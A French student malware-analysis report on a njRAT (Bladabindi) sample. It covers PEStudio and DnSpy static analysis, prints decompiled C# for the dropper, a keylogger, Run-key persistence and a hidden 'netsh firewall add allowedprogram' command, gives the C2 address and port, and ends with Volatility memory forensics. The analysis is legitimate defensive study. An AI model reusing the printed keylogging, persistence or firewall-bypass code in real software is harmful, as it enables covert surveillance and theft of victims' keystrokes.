# Projet - Analyse de malware # Analyse de `sample.exe` ## File ```sh= file sample.exe sample.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows ``` C'est donc un executable Windows 32 bits (Intel 80386). ## PEStudio ![pestudio](https://i.imgur.com/pyDjkpx.png) Dans PEStudio on retrouve l'executable Windows 32 bits .NET. On apprend aussi que le nom original du fichier était `bestgirl.scr`, un fichier executable de fond d'écran. ## DnSpy ### Fichier sample.exe On ouvre le `sample.exe` dans DnSpy. ```csharp= // Entry point: Bound.Open.Main private static void Main() { try { // Il recupere des fichiers depuis les resources dans lui meme ResourceManager resourceManager = new ResourceManager("files", Assembly.GetExecutingAssembly()); // Il recupere des flux d'octets dans ses ressources et les place sur l'ordinateur infecte File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "dsDwSUeGcL.exe", (byte[])resourceManager.GetObject("UppbHPCiV_")); // Il execute ensuite le fichier Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "dsDwSUeGcL.exe"); // Rebelotte avec un fichier JPG File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "MgyoNizMqk.jpg", (byte[])resourceManager.GetObject("izIqEGBspL")); // Il lance le fichier jpg Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "MgyoNizMqk.jpg"); } catch (Exception ex) { Console.WriteLine(ex.Message); Console.Read(); } } ``` On peut récuperer ces fichiers pour les analyser. ### Fichier UppbHPCiV_ (dsDwSUeGcl.exe) ```csharp= // Entry point: ClassLibrary1.A.main ``` #### Les imports ![](https://i.imgur.com/TeKJkHR.png) On remarque qu'il importe `VisualBasic`, `WebService` et `Security`. C'est louche. #### Main du programme Regardons du côté du main() du programme. Voici le code le plus important du main : ```csharp= // Main // Il ecrit une valeur dans la registry OK.F.Registry.CurrentUser.SetValue("di", "!"); try { // Il regarde si le mutex est deja la // Si oui, il quitte le programme IL_D7: Mutex.OpenExisting(OK.RG); ProjectData.EndApp(); } catch (Exception ex4) { // Pas de mutex, donc on le creer et si ca rate, on quitte le programme bool flag = false; OK.MT = new Mutex(true, OK.RG, ref flag); if (!flag) { ProjectData.EndApp(); } } // Creation du netsh OK.INS(); // Dedans y'a le "netsh firewall add allowedprogram \"" Thread thread = new Thread(new ThreadStart(OK.RC), 1); // On lance le thread OK.RC, qui est le RemoteController thread.Start(); // kl est un keylogger OK.kq = new kl(); thread = new Thread(new ThreadStart(OK.kq.WRK), 1); thread.Start(); ``` Le main vérifie si le programme est déjà lancé. Ensuite il lance le shell, puis le keylogger. #### NetSH On a bien vu que le main du programme lançait un thread RC, Remote Controler. ```csharp= public static void INS() { // Creation du fichier photo.exe dans TEMP if (OK.Idr) { if (!OK.CompDir(OK.LO, new FileInfo(Interaction.Environ(OK.DR).ToLower() + "\\" + OK.EXE.ToLower()))) { try { if (File.Exists(Interaction.Environ(OK.DR) + "\\" + OK.EXE)) { File.Delete(Interaction.Environ(OK.DR) + "\\" + OK.EXE); } File.Copy(OK.LO.FullName, Interaction.Environ(OK.DR) + "\\" + OK.EXE, true); Process.Start(Interaction.Environ(OK.DR) + "\\" + OK.EXE); ProjectData.EndApp(); } catch (Exception ex) { ProjectData.EndApp(); } } } // Creation du netsh pour recuperer les touches du keylogger Interaction.Shell(string.Concat(new string[] { "netsh firewall add allowedprogram \"", OK.LO.FullName, "\" \"", OK.LO.Name, "\" ENABLE" }), AppWinStyle.Hide, false, -1); } ``` #### KeyLogger ```csharp= public kl() { this.lastKey = Keys.None; this.Clock = new Clock(); this.Logs = ""; this.keyboard = new Keyboard(); this.LogsPath = Application.ExecutablePath + ".tmp"; } // On retrouve ensuite des fonctions pour le logging // Ca print la date, la touche pressee, les touches speciales (TAB, ENTER), etc... // Format la date pour les logs private string HM() { string result; try { result = this.Clock.LocalTime.ToString("yy/MM/dd"); } catch (Exception ex) { result = "??/??/??"; } return result; } // Recupere les touches loggees public void WRK() { this.Logs = File.ReadAllText(this.LogsPath); if (kl.GetAsyncKeyState(num2) == -32767) { Keys k = (Keys)num2; string text = this.Fix(k); if (text.Length > 0) { this.Logs += this.AV(); this.Logs += text; } this.lastKey = k; } File.WriteAllText(this.LogsPath, this.Logs); } // Fix les touches speciales comme ENTER ou TAB private string Fix(Keys k) { string result; try { if (k == Keys.F1 || k == Keys.F2 || k == Keys.F3 || k == Keys.F4 || k == Keys.F5 || k == Keys.F6 || k == Keys.F7 || k == Keys.F8 || k == Keys.F9 || k == Keys.F10 || k == Keys.F11 || k == Keys.F12 || k == Keys.End || k == Keys.Delete || k == Keys.Back) { result = "[" + k.ToString() + "]"; } else if (k == Keys.LShiftKey || k == Keys.RShiftKey || k == Keys.Shift || k == Keys.ShiftKey || k == Keys.Control || k == Keys.ControlKey || k == Keys.RControlKey || k == Keys.LControlKey || k == Keys.Alt) { result = ""; } else if (k == Keys.Space) { result = " "; } else if (k == Keys.Return || k == Keys.Return) { if (this.Logs.EndsWith("[ENTER]\r\n")) { result = ""; } else { result = "[ENTER]\r\n"; } } else if (k == Keys.Tab) { result = "[TAP]\r\n"; } return result; } ``` #### Données, strings, hosts, ports, etc. ```csharp // OK.cs // // Token: 0x04000001 RID: 1 public static string VN = "SGFjS2VkIA=="; // Ca ressemble a du base64 ca ! // Token: 0x04000004 RID: 4 public static string EXE = "photo.exe"; // Token: 0x04000005 RID: 5 public static string DR = "TEMP"; // Token: 0x04000006 RID: 6 public static string RG = "9e16c401f72f35f8d08e45d698def37c"; // Token: 0x04000007 RID: 7 public static string H = "41.108.14.254"; // Token: 0x04000008 RID: 8 public static string P = "1177"; // Token: 0x04000015 RID: 21 public static string sf = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; ``` ```python >>> import base64 >>> base64.b64decode('SGFjS2VkIA==') b'HacKed ' ``` #### Mécanisme de persistence Il met le lien vers le `photo.exe` dans `OK.sf` (="Software\\Microsoft\\Windows\\CurrentVersion\\Run") pour lancer automatiquement `photo.exe` au démarrage. Il essaie pour CurrentUser et LocalMachine, pour essayer d'infecter tous les utilisateurs de la machine ! ```csharp= if (OK.Isu) { try { if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.CurrentUser.GetValue(OK.sf + "\\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false)) { OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" .."); } } catch (Exception ex8) { } try { if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.LocalMachine.GetValue(OK.sf + "\\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false)) { OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" .."); } } catch (Exception ex9) { } } ``` #### Localisation de l'adresse IP trouvée Je n'ai pas Maltego sur ma machine donc j'ai simplement tapé l'adresse IP sur Google. GreyNoise n'a rien trouvé, mais j'ai eu un resultat sur [Hybrid Analysis](https://www.hybrid-analysis.com/sample/03f65487f27f296eb2ee3f3ba89f2f54e539ccb5a5faa743b101caff69cd5d8b?environmentId=110) ![details](https://i.imgur.com/SUZi5KK.png) On retrouve notre executable `sample.exe`, ainsi que l'icone du fichier. Sur notre VM, le fichier ressemblait à cela : ![icon-sample-exe](https://i.imgur.com/luIAnqE.png) L'adresse IP mène vers l'Algerie. ![map](https://i.imgur.com/bReEQfh.png) Dans le rapport de Hybrid Analysis, on trouve `bestgirl.Scr` comme véritable nom de fichier pour `sample.exe`. Les ficiers .scr sont des executables qui ne portent pas l'extension `.exe`. C'est pratique lorsqu'on écrit un malware de se faire passer pour un fichier .scr, on est plus susceptible de passer inapercu. ![file-name](https://i.imgur.com/LSJYGlx.png) On retrouve bien ce nom avec PEStudio. ![pestudio](https://i.imgur.com/pyDjkpx.png) L'arbre d'execution trouve en ligne correspond egalement a notre scenario. On trouve bien un fichier sample qui ouvre un autre fichier pour ensuite executer le photo.exe persistant qui s'occupe de lancer le keylogger et le netsh. ![ps-tree](https://i.imgur.com/23J8sRj.png) #### Quel type de malware ? Analysis Hybrid nous donne une famille de virus : Bladadinbi D'apres [Microsoft](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=MSIL/Bladabindi), il s'agit d'un NjRAT. La description de Microsoft correspond au comportement de notre malware. On retrouve la cle `di` et `!` du sample.exe, ainsi que le lancement d'un `kl` (le keylogger) et de `net.exe`. # Partie analyse de RAM Afin de pouvoir faire l'analyse de RAM, nous avons créer un dump de ram en utilisant VMWare et vmss2core. Le fichier résultant se nomme win.raw. Désormais nous allons utiliser Volatility afin d'analyse la RAM. #### Imageinfo: D'abord nous identifions le system d'exploitation ainsi que l'architecture: ``` remnux@remnux:~/Desktop$ vol.py imageinfo -f win.raw Volatility Foundation Volatility Framework 2.5 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP0x86, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/remnux/Desktop/win.raw) PAE type : PAE DTB : 0x185000L KDBG : 0x82966c68L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x82967d00L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2019-07-05 23:38:47 UTC+0000 Image local date and time : 2019-07-05 16:38:47 -0700 ``` ### Pslist: Ensuite nous listons l'ensemble des process: * Il n'existe pas de process en 32 bits (champs wow64) * photo.exe --> suspicieux ``` remnux@remnux:~/Desktop$ vol.py pslist --profile=Win7SP0x86 info -f win.raw Volatility Foundation Volatility Framework 2.5 Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 0x84841890 System 4 0 70 523 ------ 0 2019-07-05 23:36:39 UTC+0000 [...] 0x85d528d8 dllhost.exe 3784 540 10 238 1 0 2019-07-05 23:38:43 UTC+0000 0x84aac620 photo.exe 3884 3744 6 135 1 0 2019-07-05 23:38:44 UTC+0000 0x84ab2b08 netsh.exe 3920 3884 0 -------- 1 0 2019-07-05 23:38:44 UTC+0000 2019-07-05 23:38:44 UTC+0000 0x849fed28 mscorsvw.exe 3996 376 6 73 0 0 2019-07-05 23:38:47 UTC+0000 0x84b09418 svchost.exe 4032 376 4 28 0 0 2019-07-05 23:38:47 UTC+0000 ``` ### Pstree * On remarque que le process photo.exe a un process fils nommé netsh.exe * netsh --> interface utilisateur en ligne de commande --> suspicieux! ``` remnux@remnux:~/Desktop$ vol.py pstree --profile=Win7SP0x86 info -f win.raw Volatility Foundation Volatility Framework 2.5 Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- [...] 0x84aac620:photo.exe 3884 3744 6 135 2019-07-05 23:38:44 UTC+0000 . 0x84ab2b08:netsh.exe 3920 3884 0 ------ 2019-07-05 23:38:44 UTC+0000 ``` ### netscan * On remarque une adresse et un port suspicieux: * IP: 41.108.14.254 * Port: 1177 ``` remnux@remnux:~/Desktop$ vol.py netscan --profile=Win7SP0x86 info -f win.raw Volatility Foundation Volatility Framework 2.5 Offset(P) Proto Local Address Foreign Address State Pid Owner Created 0x7fdf0298 TCPv4 172.16.170.149:49164 41.108.14.254:1177 CLOSED -1 0x7f5e2be8 TCPv4 172.16.170.149:49195 41.108.14.254:1177 SYN_SENT -1 ``` Lorsqu'on recherche l'IP sur internet on tombe sur: ![](https://i.imgur.com/MzrTscf.png) ### handles * En listant les handles du process photo.exe, on retrouve un mutant: * On remarque que cette meme clé est utilisé dans le mécanisme de persistance du malware. En effet, ce mutant servait de clé dans la registry pour la valeur photo.exe. ``` remnux@remnux:~/Desktop$ vol.py handles -p 3328 --profile=Win7SP0x86 info -f win.raw | grep -i mutant Volatility Foundation Volatility Framework 2.5 0x85499958 3328 0x10 0x1f0001 Mutant 0x8519fed8 3328 0x1c 0x1f0001 Mutant 0x850dec60 3328 0x20 0x1f0001 Mutant 0x86bae9c8 3328 0x30 0x1f0001 Mutant 0x854e7598 3328 0xb0 0x1f0001 Mutant 0x85124130 3328 0x18c 0x1f0001 Mutant 9e16c401f72f35f8d08e45d698def37c ``` * On retrouve aussi dans les handles une clé qui correspond à une clé run. * Le process photo.exe a possède un mécanisqme de persistence. ``` remnux@remnux:~/Desktop$ vol.py handles -p 3328 --profile=Win7SP0x86 info -f win.raw | grep -i run Volatility Foundation Volatility Framework 2.5 0xafb77630 3328 0x194 0x2001f Key USER\S-1-5-21-1716914095-909560446-1177810406-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN [...] 0xafac0310 3328 0x2b0 0x2001f Key USER\S-1-5-21-1716914095-909560446-1177810406-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN ``` ### Memdump On effectue un memdump afin d'analyse le fichier binaire: ``` remnux@remnux:~/Desktop$ vol.py memdump -p 3328 -D . --profile=Win7SP0x86 info -f win.raw Volatility Foundation Volatility Framework 2.5 ************************************************************************ Writing photo.exe [ 3328] to 3328.dmp ``` ## Chronologie ## Analyse Intezer ![](https://i.imgur.com/x4qE6Gp.png)